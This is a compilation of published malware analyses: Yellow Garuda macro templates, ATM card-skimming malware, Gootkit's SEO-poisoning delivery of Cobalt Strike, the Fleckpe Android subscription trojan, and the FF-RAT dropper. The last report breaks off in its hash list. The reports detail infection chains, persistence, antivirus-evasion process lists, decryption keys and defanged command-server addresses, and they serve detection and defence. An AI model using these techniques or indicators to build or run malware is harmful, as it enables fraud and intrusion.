28de2ccff30a4f198670b66b6f9a0ce5f5f9b7f889c2f5e6a4e365dea1c89d53 **Filename:** Arabic.dotm In some cases, we observed the macro code creating a reverse shell using code almost identical to that found in open source on a GitHub repository. In other cases, the template files were password protected meaning that the victim is required to specify the password in order for the attack sequence to proceed. This would need to be passed over to the victim via a phishing email or some other form of social engineering. The template files also contained RC4-encrypted strings (both within the macro and lure document) for which the decryption key needed to be obtained as the response to an HTTP GET request to an Amazon S3 bucket. These steps were likely designed to thwart analysis attempts if the password cannot be obtained to open the document, or the infrastructure hosting the decryption key is no longer active. Files dropped by the macros shared similar filenames to recent Yellow Garuda activity observed by Check Point. The PowerShell backdoor known as CharmPower was observed to read data from a file called ni.txt, located in %AppData%, whose contents are sent to the command and control server along with basic information about the victim’s machine. This aligns with our observations that ni.txt is used to house a hardcoded identifier and could indicate that a version of CharmPower is deployed at a later stage of the attack sequence. ### Conclusion Over the past year, we have seen Yellow Garuda continue to add tools to its arsenal. In its use of macro-enabled template files, we can see that the threat actor has made efforts to stage various parts of the infection chain remotely, disrupting analysis efforts where these are not accessible. The threat actor has also continued to make OPSEC mistakes exposing its tools and targeting through open servers. The Telegram ‘grabber’ tool we observed appears to be a tool that the threat actor has had access to since at least January 2021, and used against domestic targets to obtain specific access to Telegram messages and contacts alongside mobile malware. The threat actor’s operational report has given us further insight into its analysis process, indicating that there is an internal structure to its operations denoted by numerical call signs. It also highlights the alias of an individual which has previously been linked to Iran-based activity over several years.
# Automated Teller Machine (ATM) Malware Analysis Briefing **Date:** May 28, 2009 **Author:** Trustwave SpiderLabs **Subject:** Malware Analysis Briefing Report **Project:** Automated Teller Machine Malware Analysis ## Malware Snapshot ### Malware Sample Properties - **Malware Sample Name:** lsass.exe - **Compressed:** Yes - **Obfuscated:** Yes - **Armored:** Yes - **Rootkit:** Yes - **Target Platform:** Windows - **Target Application:** ATM card Track and PIN data processing software - **File Size of Sample Malware:** 50176 bytes - **File Type / Compiler:** PE32 Executable / Borland Delphi 6.0 - 7.0 - **File Creation / Installation Date:** July 25th 2007 - **MD5 Checksum:** 695551C68C06591C3074377D4B27682E - **SHA1 Checksum:** 982F62C76EBDD71E31A9F61CE86FAAD7814B2568 ### Sizes of Other Known Versions of This Malware - 41984 bytes - 49664 bytes ### MD5 Checksums of Other Known Versions - 113DC62206EFF20111C8CEBCDDD397FB - 26A5A6E9F85656B28E2698676AEE114B - D222B730441ABA903EF3F5517D071C58 ## Description Trustwave’s SpiderLabs performed the analysis of malicious software (malware) found installed on compromised ATMs in the Eastern European region. This malware captures magnetic stripe data and PIN codes from the private memory space of transaction-processing applications installed on a compromised ATM. The compromised ATMs discussed in this briefing ran Microsoft’s Windows XP operating system. The malware contains advanced management functionality allowing the attacker to fully control the compromised ATM through a customized user interface built into the malware. This interface is accessible by inserting controller cards into the ATM’s card reader. SpiderLabs analysts do not believe the malware includes networking functionality that would allow it to send harvested data to other, remote locations via the Internet. The malware does, however, allow for the output of harvested card data via the ATM’s receipt printer or by writing the data to an electronic storage device (possibly using the ATM’s card reader). Analysts also discovered code indicating that the malware could eject the cash-dispensing cassette. What follows is a high-level summary of the key features identified during Trustwave’s in-depth analysis of the malware sample. It is, however, believed that this is a relatively early version of the malware and that subsequent versions have seen significant additions to its functionality. ## Method of Infection of the ATM The malware is installed and activated through a dropper file named isadmin.exe. It is a Borland Delphi Rapid Application Development (RAD) executable and is essentially a replacement for the original isadmin.exe utility written by Bill Stewart. The dropper binary contains a Data Resource (RCDATA) named PACKAGEINFO which in turn contains the actual malware. Executing the dropper file produces the malware file lsass.exe within the C:\WINDOWS directory of the compromised system via functionality provided by a Windows API (Application Programming Interface). Once the malware is extracted, the dropper proceeds to manipulate the 'Protected Storage' service—this normally handles the legitimate lsass.exe executable, located in the C:\WINDOWS\system32 directory—to point towards the newly created malware. The service is also configured to automatically restart in the event that it crashes, ensuring that the malware remains active. ## Targeting Track Data The malware itself is also a Borland Delphi Graphic User Interface (GUI)-compiled executable, launched as a Microsoft Windows service. It contains the ability to enumerate the available printing devices. Once active, the malware intercepts ATM transactions by injecting code into targeted processes through the binary modification of these processes in memory. The first process targeted by the malware appears to be a system-messaging utility, while the other is a form of ATM software service. Once it resides in the memory, the malware polls the transaction message queue looking for track 2 data from the current transaction. It then performs a level of validation and manipulation against this track data to determine whether the transaction is the attacker’s trigger or controller card or a valid transaction involving track data that the malware collects by recording it in a file. The trigger cards (either a master function card or a single function card) allow an attacker to interact with and control both the malware and the ATM. When the parsing routine fails to identify a trigger card, the malware stores the transaction information in a temporary file named tr12 in the C:\WINDOWS directory. The malware harvests transactions as well as balance enquiries provided the currency indicated is American Dollar (USD), Russian Rouble (RUR) or the Ukrainian Hryvnia (UAH). Additionally, the malware harvests what is believed to be key or PIN data, saving the information in a file C:\WINDOWS\kl. ## Primary Command Options and Functionality When a trigger card is detected, a small window appears giving the user 10 seconds to select one of 10 command options using the ATM’s keypad. | Option | Function | Possible Description | |--------|----------|----------------------| | 0 | Restore Logs | Restore the log files to the condition prior to the malware’s operation. To uninstall itself, the malware will: Delete the trl2 and kl log files | | 1 | Uninstall | Remove the malicious service, restore the original lsass.exe executable, and delete the malicious lsass.exe file | | 2 | Display Stats | Creates and displays a window presenting statistics (numbers of transactions, cards, keys) and version numbers of components (“Agilis” and “Agent”). | | 3 | Delete Logs | Deletes the harvesting log files C:\WINDOWS\trl2 and C:\WINDOWS\kl | | 4 | Reboot ATM | Adjusts the privileges of the malware and then forces a full system reboot. | | 5 | Test Printer | This command seems to be for testing the ATM’s receipt printer by printing Hello and 123456789. | | 6 | Print Collected Data | Print the harvested data, in an encrypted format, via the ATM receipt printer. The malware uses the DES algorithm for encryption. | | 7 | Secondary Menu | This option will present the user with a window displaying a challenge and wait for the corresponding response to be entered. Further details of this secondary menu are provided below. | | 8 | Supply Manager Information | The malware tries to access the ATM-vendor-software’s user interface, authenticate using a default-password and waits for another pop-up window that can be used to retrieve information about bills/cash present in the ATM at the time of access. | | 9 | Unclear/Possibly | Appears to be associated with memory card writing to a smart card functionality that may be used to transfer the harvested data directly to a card injected into a compromised ATM. | ## Secondary Command Menu Options Command option 7 presents the user with a challenge window and allows the user 30 seconds to input a corresponding valid response using the ATM’s keypad. If the response provided by the ATM user agrees with the malware’s expectation, the following command menu is displayed. There is evidence that the malware is executing the ATM API call which is probably related to cassette dispensing when the ‘dispense cassette’ options are selected. ## Conclusion Given the impact this malware can have on an infected ATM environment, Trustwave highly recommends all financial institutions with ATMs under management perform analysis of their environment to identify if this malware or similar malware is present. Trustwave collected multiple versions of this malware and therefore feels that over time it will evolve. It will also begin to propagate to a more widespread population of ATMs, thus a proactive approach in prevention and identification will be necessary to prevent future attacks. ## Contacts The following individuals are the lead contacts for Trustwave’s SpiderLabs Incident Response Team: **USA Contact Information** **Contact Name:** Colin Sheppard **Contact Phone:** 312.873.7474 **Contact Fax:** 312.443.1620 **Contact E-Mail Address:** [email protected] **Address:** 70 W Madison St, Suite 1050, Chicago, IL 60602 **EMEA Contact Information** **Contact Name:** Stephen Venter **Contact Phone:** +44 207 070 5982 **Contact Fax:** +44 845 456 9612 **Contact E-Mail Address:** [email protected] **Address:** 8th floor, Westminster Tower, 3 Albert Embankment, London, UK SE1 7SP
# Gootkit Loader’s Updated Tactics and Fileless Delivery of Cobalt Strike Gootkit has been known to use fileless techniques to drop Cobalt Strike and other malicious payloads. Insights from a recent attack reveal updates in its tactics. Our in-depth analysis of what began as an unusual PowerShell script revealed intrusion sets associated with Gootkit loader. In the past, Gootkit used freeware installers to mask malicious files; now it uses legal documents to trick users into downloading these files. We uncovered this tactic through managed extended detection and response (MxDR) and by investigating a flag for a PowerShell script that allowed us to stop it from causing any damage and dropping its payload. Gootkit has been known to use fileless techniques to deliver noteworthy threats such as the SunCrypt and REvil (Sodinokibi) ransomware, Kronos trojans, and Cobalt Strike. In 2020, we reported on Gootkit capabilities. While it has kept much the same behavior as that in our previous report, updates reveal its continuing activity and development nearly two years later. ## Attack Overview Having been associated with a variety of payloads, we can assume that Gootkit runs on an access-as-a-service model. It can therefore be used by different groups to conduct their attacks, making it worth monitoring to prevent bigger threats from successfully entering a system. Figure 1 illustrates its infection routine. It begins with a user searching for specific information in a search engine. In this case, the user had searched for the keywords “disclosure agreement real estate transaction.” A website compromised by Gootkit operators was among the results, meaning that the user did not open this compromised website by chance. Indeed, the operators had tweaked the odds in their favor by using Search Engine Optimization (SEO) poisoning to make this website rank high in the search results, leading the user to visit the compromised website. This also means that the website’s URL will not be available for long and that a full analysis would be difficult to conduct if not done immediately. Upon opening the website, we found that it presented itself as an online forum directly answering the victim’s query. This forum housed a ZIP archive that contains the malicious .js file. When the user downloaded and opened this file, it spawned an obfuscated script which, through registry stuffing, installed a chunk of encrypted codes in the registry and added scheduled tasks for persistence. The encrypted code in the registry was then reflectively loaded through PowerShell to reconstruct a Cobalt Strike binary that runs directly in the memory filelessly. Much of what we have just described is still in line with the behavior we reported in 2020, but with a few minor updates. This indicates that Gootkit Loader is still actively being developed and has proved successful in compromising unsuspecting victims. Two noticeable changes stand out: - The search term now leverages legal document templates instead of freeware installers. - Encrypted registries now use a custom text replacement algorithm instead of base64 encoding. ## The Compromised Website Following the behavior of users, we can now look at the website visited in the attack. Threat actors have been known to simply compromise a vulnerable or misconfigured website to plant their malware or tools instead of creating or registering a new one for their malicious operation. In the case of Gootkit, since it compromised a legitimate domain, the website used was likely to pass reputation services. For an unsuspecting user, visiting the site would not arouse suspicion as it appears like a harmless website for a singing and voice coach. Performing a Google search specifically on the downloaded file (“disclosure agreement real estate transaction”) shows that the site’s content was unrelated to its owner and its purpose. Additionally, none of these search result links can be found by navigating the site’s homepage itself. This is evidence that the website has been compromised, as it has allowed adversaries to inject or create new unrelated web content. This tactic is nothing new for Gootkit. Coupled with SEO poisoning, Gootkit operators can herd victims into a compromised website and bait them into downloading a file they are looking for. For this incident, we were able to stop Gootkit loader in its tracks before it dropped its payload. However, the user had already visited the website, downloaded the malicious ZIP file, and opened it. The unusual PowerShell script that resulted from these actions alerted us to possible malicious activity. In this investigation, we try to piece together what would have happened if the PowerShell script had not been flagged and had been allowed to run. ## Investigation and Analysis As mentioned, the user visited the compromised website and downloaded the ZIP archive using Google Chrome. As logged by Trend Micro Vision One, the exact URL they visited is as follows: ``` hxxps://www[.]{domain name}[.]co[.]uk/forum[.]php?uktoz=znbrmkp&iepdpjkwxusknzkq=3147417f829ff54ffe9acd67bbf216c217b16d47ac6a2e02c1b42f603121c9ad4b18757818e0bbdd5bab3aa ``` As of writing, this URL is no longer accessible. However, we were able to analyze the ZIP archive downloaded by the user. As mentioned, it was named `disclosure agreement real estate transaction(8321).zip`. In another instance, the JavaScript file was named `tenancy agreement between family members template(98539).zip`. Both file names strongly suggest that Gootkit leverages keywords that refer to legal document templates, likely to lure users into downloading files. It’s important to note that this chosen search term and topic is one of the notable changes from past campaigns. The ZIP archive was successfully saved in the Downloads folder `C:\Users\{username}\Downloads\disclosure agreement real estate transaction (8321).zip`. The user then opened the .js file inside the ZIP archive, which spawned an obfuscated PowerShell Script. The detected command line included `wscript.exe`, the default script interpreter of Windows operating systems. This command line runs the malicious JavaScript file. The folder file path and the file name can be seen here: ``` C:\Windows\System32\WScript.exe C:\Users\{username}AppData\Local\Temp\Temp1_disclosure agreement real estate transaction(8321).zip\disclosure_agreement_real_estate_transaction 3994.js ``` By using Vision One’s AMSI Telemetry, the team was able to view the decoded script at runtime and build the order of events that it generated. In the decoded script, there are three potentially compromised domains listed. The domains themselves are legitimate websites. Gootkit only selects one and constructs the full URL to get the next stage of script execution. The three domains are listed here: - `learn[.]openschool.ua` – Education - `lakeside-fishandchips[.]com` – Restaurants and food - `kristinee[.]com` – Personal sites Decoding the script also led us to discover that two stages of script are used to complete the operation. The first stage script carries out the following: - It checks for the registry `HKCU\PJZTLE` and creates it if not found. This serves as an infection marker as we discussed in our previous blog. - It then checks if the current user is logged in to a domain that might be used to bypass sandbox tools. - Next, it connects to the constructed URL to fetch the next script to be executed. For this case, it retrieved the second stage script from `hxxps://learn[.]openschool[.]ua/test.php?mthqpllauigylit=738078785565141`. - It then sleeps for 10 seconds before running the fetched codes. The second stage script retrieved from the aforementioned compromised website accomplishes the following: - It gets the current username via environment strings. - It checks the target registry and creates it if it does not exist. It performs registry stuffing for persistence, wherein two sets of registries are created, each containing encrypted binaries to be decoded and executed later: - `HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Phone\\{loggedOnUser}\\{consecutive numbers}`, which contains binary payload encrypted using custom text replacement. - `HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Phone\\{loggedOnUser}0\\{consecutive numbers}`, which contains hex-encoded binary used to decode and execute the first registry. After these two stages, it finally executes two encrypted PowerShell scripts also logged by AMSI Telemetry. The first one decrypts the binary of the registry `\\Phone\\{loggedOnUser}0\\` and uses it to initiate a function named “Test.” The second PowerShell script installs a persistence mechanism via Scheduled Task, where it assigns the username as its Task Name. The scheduled task loads the binary on `\\Phone\\{loggedOnUser}0` registry, which in turn decrypts and executes the final payload found in `\\Phone\\{loggedOnUser}` registry using the same reflective code loading technique. The final payload for this instance was found to be a Cobalt Strike binary, which has also been spotted to connect to Cobalt Strike’s command-and-control (C&C) server. ## The Cobalt Strike Payload The Cobalt Strike binary reflectively loaded directly to the memory has been seen connecting to the IP address `89[.]238[.]185[.]13`. Using internal and external threat intelligence, the team validated that the IP address is a Cobalt Strike C&C. Cobalt Strike, a tool used for post-exploitation activities, uses the beacon component as the main payload that allows the execution of PowerShell scripts, logging keystrokes, taking screenshots, downloading files, and spawning other payloads. ## Security Recommendations One key takeaway from this case is that Gootkit is still active and improving its techniques. This implies that this operation has proven effective, as other threat actors seem to continue using it. Users are likely to encounter Gootkit in other campaigns in the future, and it is likely that it will use new means of trapping victims. This threat also shows that SEO poisoning remains an effective tactic in luring unsuspecting users. The combination of SEO poisoning and compromised legitimate websites can mask indicators of malicious activity that would usually keep users on their guard. Such tactics highlight the importance of user awareness and the responsibility of website owners in keeping their cyberspaces safe. Organizations can help by conducting user security awareness training for their employees, which aims to empower people to recognize and protect themselves against the latest threats. In this instance, for example, the threat could have been avoided earlier if the user had been more wary of downloading JavaScript files. On the other hand, website owners must make better web hosting choices by opting for web host providers who emphasize security in their own servers. This case highlights the importance of 24/7 monitoring. Notably, cross-platform XDR prevented this attack from escalating, since we were able to isolate the affected machine quickly, stopping the threat from inflicting further damage on the network. A Cobalt Strike payload, for example, can result in worse problems, such as the deployment of ransomware, credential dumping for lateral movement, and data exfiltration. Managed XDR service prevented all of this from being realized. Organizations can consider Trend Micro Vision One, which offers the ability to detect and respond to threats across multiple security layers. It can isolate endpoints, which are often the source of infection, until they are fully cleaned or the investigation is done. ## Indicators of Compromise (IOCs) **Trojan.BAT.POWLOAD.TIAOELD** - cbc8733b9079a2efc3ca1813e302b1999e2050951e53f22bc2142a330188f6d4 - f1ece614473c7ccb663fc7133654e8b41751d4209df1a22a94f4640caff2406d **Trojan.PS1.SHELLOAD.BC** - 8536bb3cc96e1188385a0e230cb43d7bdc4f7fe76f87536eda6f58f4c99fe96b **URLs** - `hxxps://www[.]{domain name}[.]co[.]uk/forum[.]php?uktoz=znbrmkp&iepdpjkwxusknzkq=3147417f829ff54ffe9acd67bbf216c217b16d47ac6a2e02c1b42f603121c9ad4b18757818e0bbdd5bab3aa` - `hxxps://learn[.]openschool.ua/test[.]php?mthqpllauigylit=738078785565141` - `89[.]238[.]185[.]13` (C&C server - Cobalt Strike IP address)
# Not Quite an Easter Egg: A New Family of Trojan Subscribers on Google Play **Authors** Dmitry Kalinin Every once in a while, someone will come across malicious apps on Google Play that seem harmless at first. Some of the trickiest of these are subscription Trojans, which often go unnoticed until the user finds they have been charged for services they never intended to buy. This kind of malware often finds its way into the official marketplace for Android apps. The Jocker family and the recently discovered Harly family are just two examples of this. Our latest discovery, which we call “Fleckpe,” also spreads via Google Play as part of photo editing apps, smartphone wallpaper packs, and so on. ## Fleckpe Technical Description Our data suggests that the Trojan has been active since 2022. We have found eleven Fleckpe-infected apps on Google Play, which have been installed on more than 620,000 devices. All of the apps had been removed from the marketplace by the time our report was published, but the malicious actors might have deployed other, as yet undiscovered, apps, so the real number of installations could be higher. Here is a description of Fleckpe’s modus operandi. When the app starts, it loads a heavily obfuscated native library containing a malicious dropper that decrypts and runs a payload from the app assets. ### Malicious Library Loading The payload contacts the threat actors’ C&C server, sending information about the infected device, such as the MCC (Mobile Country Code) and MNC (Mobile Network Code), which can be used to identify the victim’s country and carrier. The C&C server returns a paid subscription page. The Trojan opens the page in an invisible web browser and attempts to subscribe on the user’s behalf. If this requires a confirmation code, the malware gets it from notifications (access to which was asked at the first run). ### Intercepting Notifications Having found the code, the Trojan enters it in the appropriate field and completes the subscription process. The victim proceeds to use the app’s legitimate functionality, for example, installs wallpapers or edits photos, unaware of the fact that they are being subscribed to a paid service. ### Entering the Confirmation Code The Trojan keeps evolving. In recent versions, its creators upgraded the native library by moving most of the subscription code there. The payload now only intercepts notifications and views web pages, acting as a bridge between the native code and the Android components required for purchasing a subscription. This was done to significantly complicate analysis and make the malware difficult to detect with the security tools. Unlike the native library, the payload has next to no evasion capabilities, although the malicious actors did add some code obfuscation to the latest version. ### Core Logic Inside the Native Method We found that the Trojan contained hard-coded Thai MCC and MNC values, apparently used for testing. Thai-speaking users notably dominated the reviews for the infected apps on Google Play. This led us to believe that this particular malware targeted users from Thailand, although our telemetry showed that there had been victims in Poland, Malaysia, Indonesia, and Singapore. ### The Thai Test MCC and MNC Values Kaspersky security products detect the malicious app as Trojan.AndroidOS.Fleckpe. ## Conclusion Sadly, subscription Trojans have only gained popularity with scammers lately. Their operators have increasingly turned to official marketplaces like Google Play to spread their malware. The growing complexity of the Trojans has allowed them to successfully bypass many anti-malware checks implemented by the marketplaces, remaining undetected for long periods of time. Affected users often fail to discover the unwanted subscriptions right away, let alone find out how they happened in the first place. All this makes subscription Trojans a reliable source of illegal income in the eyes of cybercriminals. To avoid malware infection and subsequent financial loss, we recommend being cautious with apps, even those coming from Google Play, avoiding giving permissions they should not have, and installing an antivirus product capable of detecting this type of Trojan. ## IOCs ### Package Names - com.impressionism.prozs.app - com.picture.pictureframe - com.beauty.slimming.pro - com.beauty.camera.plus.photoeditor - com.microclip.vodeoeditor - com.gif.camera.editor - com.apps.camera.photos - com.toolbox.photoeditor - com.hd.h4ks.wallpaper - com.draw.graffiti - com.urox.opixe.nightcamreapro ### MD5 - F671A685FC47B83488871AE41A52BF4C - 5CE7D0A72B1BD805C79C5FE3A48E66C2 - D39B472B0974DF19E5EFBDA4C629E4D5 - 175C59C0F9FAB032DDE32C7D5BEEDE11 - 101500CD421566690744558AF3F0B8CC - 7F391B24D83CEE69672618105F8167E1 - F3ECF39BB0296AC37C7F35EE4C6EDDBC - E92FF47D733E2E964106EDC06F6B758A - B66D77370F522C6D640C54DA2D11735E - 3D0A18503C4EF830E2D3FBE43ECBE811 - 1879C233599E7F2634EF8D5041001D40 - C5DD2EA5B1A292129D4ECFBEB09343C4 - DD16BD0CB8F30B2F6DAAC91AF4D350BE - 2B6B1F7B220C69D37A413B0C448AA56A - AA1CEC619BF65972D220904130AED3D9 - 0BEEC878FF2645778472B97C1F8B4113 - 40C451061507D996C0AB8A233BD99FF8 - 37162C08587F5C3009AFCEEC3EFA43EB - BDBBF20B3866C781F7F9D4F1C2B5F2D3 - 063093EB8F8748C126A6AD3E31C9E6FE - 8095C11E404A3E701E13A6220D0623B9 - ECDC4606901ABD9BB0B160197EFE39B7 ### C&C - hxxp://ac.iprocam[.]xyz - hxxp://ad.iprocam[.]xyz - hxxp://ap.iprocam[.]xyz - hxxp://b7.photoeffect[.]xyz - hxxp://ba3.photoeffect[.]xyz - hxxp://f0.photoeffect[.]xyz - hxxp://m11.slimedit[.]live - hxxp://m12.slimedit[.]live - hxxp://m13.slimedit[.]live - hxxp://ba.beautycam[.]xyz - hxxp://f6.beautycam[.]xyz - hxxp://f8a.beautycam[.]xyz - hxxp://ae.mveditor[.]xyz - hxxp://b8c.mveditor[.]xyz - hxxp://d3.mveditor[.]xyz - hxxp://fa.gifcam[.]xyz - hxxp://fb.gifcam[.]xyz - hxxp://fl.gifcam[.]xyz - hxxp://a.hdmodecam[.]live - hxxp://b.hdmodecam[.]live - hxxp://l.hdmodecam[.]live - hxxp://vd.toobox[.]online - hxxp://ve.toobox[.]online - hxxp://vt.toobox[.]online - hxxp://54.245.21[.]104 - hxxp://t1.twmills[.]xyz - hxxp://t2.twmills[.]xyz - hxxp://t3.twmills[.]xyz - hxxp://api.odskguo[.]xyz - hxxp://gbcf.odskguo[.]xyz - hxxp://track.odskguo[.]xyz
# Threat Spotlight: Breaking Down FF-Rat Malware **The BlackBerry Cylance Threat Research Team** **RESEARCH & INTELLIGENCE / 06.13.17** ## Introduction FF-RAT is a family of malware used in a number of targeted attacks over at least the last five years. It is by no means a new threat, but it is still actively used and developed and worthy of a breakdown in an effort to defend against it. FF-RAT malware has managed to stay under the radar and does not yet have robust, widespread industry coverage. In this post, we’re going to look at a recent sample the Threat Guidance team came across. ## The Dropper The sample we’ll be analyzing is the main dropper component: **SHA256:** 7a4528821e4b26524ce9c33f04506616f57dfc6ef3ee8921da7b0c39ff254e4e The first thing the dropper does is identify the architecture of the targeted host. If the host is a 64-bit system, then a 64-bit version of the dropper will be written to disk and executed: **Path:** %WinDir%\Temp\S[8 Byte Hex String].dat **SHA256:** 8ef257058cbb22fbab54837dc0af1bdd93c2a6bae18ca4a26e0a436656e591e1 Otherwise, if the host is a 32-bit system, then the 32-bit dropper will continue to its next phase of execution. Both droppers (32- and 64-bit) will proceed to decrypt and decompress an embedded DLL named SetupDll.dll. This DLL contains the primary functionality of the dropper and is executed entirely in memory, never touching the disk. Next, we’ll cover the process of extracting the DLL. ## Decoding and Decompression The recent dropper and different components of FF-RAT make heavy use of a combination of RC4, single byte XOR, and LZ compression to protect the payloads and configuration. We have also observed older variants using aPACK instead of LZ compression. The basic workflow for the decryption and decompression looks like this: 1. Generate the decryption key. The decryption key is generated by taking a hard coded DWORD and formatting it as an 8-byte hex string through a call to snprintf(). For example, given the value 0x12345678, the generated key would be “12345678”. 2. Decrypt the payload using RC4 and the key generated from the call to snprintf(). 3. Decompress the decrypted payload through a call to RtlDecompressBuffer(). Rather than importing this function, it’s called through a wrapper, which obtains the address by calling LoadLibrary followed by GetProcAddress. For the payload (SetupDll.dll) mentioned above, the value 0x3D65308E is turned into the hex string “3D65308E” through a call to snprintf(). The payload located at 0x407074 is then decrypted using the key “3D65308E”. The last step of unpacking the payload is accomplished by a call to RTLDecompressBuffer to complete the decompression. Understanding this process allows a researcher to place a breakpoint on the call to RTLDecompressBuffer to easily extract Setup.dll after it’s been decrypted and decompressed. ## SetupDll.dll SetupDll.dll contains the core functionality of the dropper and is executed from within the dropper by calling the exported function SetupWork. SetupWork makes a series of checks for the following: **AV-Related Processes:** - 360rp.exe - avgidsagent.exe - KSafeSvc.exe - RsTray.exe - 360rps.exe - avgnsx.exe - KSafeSvc.exe - seccenter.aye - 360rps.exe - avgrsx.exe - KSafeTray.exe - vsserv.aye - 360Safe.exe - avgrsx.exe - kxescore.exe - ZhuDongFangYu.exe - 360sd.exe - avgui.exe - kxetray.exe - 360Tray.exe - avgwdsvc.exe - odscanui.aye - AvastSvc.exe - avp.exe - QQPCRTP.exe - AvastUI.exe - BaiduSd.exe - QQPCTray.exe - AvastUI.exe - BaiduSdSvc.exe - RavMonD.exe - avgcsrvx.exe - bdagent.aye - RsMgrSvc.exe **File Objects:** - \\.\\fstab **Named Events:** - Global\1224DC7B-DEE0-4903-ABCA-917778626DD - Global\2BC2426F-C8E6-47a7-9C8A-356A219F83AD - Global\4822063B-F74F-4eb5-B257-1E7BAD1BD8CE If the check succeeds, it proceeds to write the backdoor to disk: **Path:** %WinDir%\system32\RCoResX64.dat **SHA256:** b01e5b5ea94a39eb3a80339987c68ae4cb8b90e68f9c794d01d6c3ac1fb8759f Followed by the configuration data: **Path:** C:\Windows\Media\WindowsMainSound.wav **Registry:** HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\{6CD70ECA-9CA1-4862-B00C-BACA47548B1B}\ConfigInfo Both the backdoor (RCoResX64.dat) and the configuration (WindowsMainSound.wav) are time stomped using the MAC time of the csrss.exe executable found in the System32 directory. Persistence is achieved by creating a service using one of the names below: - Irmon - Nwsapagent - NWCWorkstation - Iprip **Service Details:** Our analysis has revealed that, although it wasn’t enabled in the configuration for this sample, SetupDll.dll has the ability to infect the MBR with a bootkit. This allows the malware to gain execution early in the boot process, maintain persistence, and can make remediation more difficult. We will be covering this component in more detail in a follow up to this blog. ## RCoResX64.dat Much like the dropper, the core functionality is contained within a compressed and encrypted DLL that is only resident in memory. Just like before, the DLL is extracted through the use of RC4 and RTLDecompressBuffer(). This time, the payload is located at offset 0x10004094 and the value 0x429C20CA is converted to the hex string “429C20CA” and used as the decryption key. Next, the encrypted configuration is loaded from the registry: **Registry:** HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\{6CD70ECA-9CA1-4862-B00C-BACA47548B1B}\ConfigInfo If the backdoor is unsuccessful in loading the configuration from the registry, it is loaded from disk: **Path:** C:\Windows\Media\WindowsMainSound.wav At this point, FF-RAT will attempt to connect out to the command and control servers listed in the configuration: - rp.gamepoer7.com:80 - dns1-1.verifysign.org:53 - login.gamepoer7.com:443 The communication with the command and control server is done over HTTP. Something that may be of interest to network defenders is the format of the string used for the URI: “/%s.php?hdr_ctx=%d_%d” and the hard coded User-Agent: “Mozilla/5.0”. The data exchanged with the command and control server is single byte XOR encoded with the key 0x57. The requests download additional code from the command and control server, which is then stored in the registry and executed in memory. If the target is behind an authenticated proxy that would block the connection to the command and control server, the backdoor has the ability to authenticate to the proxy as the currently logged in user. These requests use the hard-coded User-Agent: “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)”. ## Debug Strings The dropper and DLL have many occurrences of OutPutDebugStringA() throughout their code. This may be an indication that FF-RAT is still under development. A tool such as DebugView can be used to capture this debug information as the malware executes. ## Conclusion FF-RAT is an effective, proxy-aware RAT that has been in use for at least the last five years. It has been observed being used in targeted attacks against a number of different industries, including government, aerospace, gaming, IT, and telecommunications. Infecting a system with FF-RAT gives attackers unfettered access to that system and can have a significant impact on an organization. The malware author goes through a lot of trouble to obfuscate key components and make sure they never touch disk. In our analysis, we covered the Dropper, DLL component, and obfuscation techniques. We also provided a number of indicators that can help identify an infection. If you use our endpoint protection product CylancePROTECT®, you were already protected from this attack. If you don't have CylancePROTECT, contact us to learn how our AI-driven solution can predict and prevent unknown and emerging threats. ## Indicators of Compromise **SHA-256 Hashes:** **FF-RAT 64-bit Droppers:** - 6E262EDE79284EB4111ABAE6A6DCFE713DB94184F87C6904EC6729E477FB11BA - 8EF257058CBB22FBAB54837DC0AF1BDD93C2A6BAE18CA4A26E0A436656E591E1 - 9CDAAD7554B1B39FDAF0E5F0AD41E7006D36E0F9791DC9C1CF3D50B73F6CA907 - 9DE5EE57D9CA1800A442D3F53E43B22807B411FF1839C1A242E21254C3B40A49 - AECAAD397351C6466E0B5D16CAEB318BF3AFD2946BC8C5FA21BDFCE02924C74E - C9FEEDC43D4D2DE56A819D7056A24B71C74368B055DDEDAA10A4AAC22B9C1CCE **FF-RAT 32-bit Droppers:** - 7A4528821E4B26524CE9C33F04506616F57DFC6EF3EE8921DA7B0C39FF254E4E - 039E9036DEA6A7609BE87EB83CF0738137A8ED3CFB46A611A9CB4B06BEC14775 - 0E0B579501ABC8F7D2E41B14C76188267F1CECBBCBC2C78B845C5AA6D328731B - 306A5298793EEF46C53FC1CC27AA5851120E186E9891445C309FC8410E1A1B24 - 3E1E11C9551B9C26FD9E7E379206A506172FCCC73DADF60F930F3CA1D1BA1077 - 53147EB4709DB10E835A9CEA62DC52276EBA14D54F7C26709C4948734ACA19FD - 58116F5C0DACFD7D70A9E57E6328E7105667BB14032DEE6F905C271560767BEB - 5918335629A3AFBA3D8A384B59D574327F0F583998AC2ECE4AB84A98B65D6233 - 610D80BF2F1F335A539684C329F87721EF5B7362A22E263709BBE3F18494095A - 62ACDC9DBB35C16C770F97C1CD3D65BC1848E60FAD8E9828758C12FDC0BC8A64 - 691BC271B1724C5DC8C6DDE185B49A465E73EC18380EF900732EA93637ADD24B - ED4FCB7733620B7D3FE0BCE2351907723FDEF373F053A865D12AEBA3FBE0722 - 842E7D030221E10804AF926B783FA5C75EEE009AC74CC22C6D1E6507C53AD453 - 87D5F1E504D02D31741A4D175699FD82F88AB7441D9908DD4F2EEBD28B1B36EB - 8C44625E027DB0A1D8CFAD60DA9102E092F7EC69C638DC0BF5FF97665E449FD1 - 903AA33253FD8CEECB6FE8D7A9076A650F318433939480D8BD44F2BA240977F1 - 97DDBF427BF887237B1A9C7C0DD85C8F64390F4EBE2CA0D1FC0A292FB4FCC71A - AE6C390FF56A6E83442E0758E7FB15E6A64B96BC022DE6E56D2CFD44E7094667 - E1F564C466E60DDBA8FA437241EE109A2FB012C929A56D7FEEF65B67AF4B407E - EAD6378FCF5FD35A15D9DFA0089834EDF636DE9EED73E66FF37CA8F42F1C5F2C - F194B96317B38512F71BC3CBD070FCD19DBA49BE92EACF430376C54BFD8FE15C - FEE2749D2F88CADB77FAEDE6DA6FABCF23D01E6C39AE1B74BD29AC02CCEAD1CC - FF68BBC1F0EB49B75B940E873BF9F4710B9F566B34FA0543238F9D2A739FD27C - FF96D09E3FE618A296DC5B4425224831DBB49877BE054276DA5BAEFCC52E0F53 **FF-RAT 64-bit DLLs:** - 0CB3B3F5408FE40C7F3DD323272BE662335C4B979FBB766BE4AA6FC2C84CC6F2 - 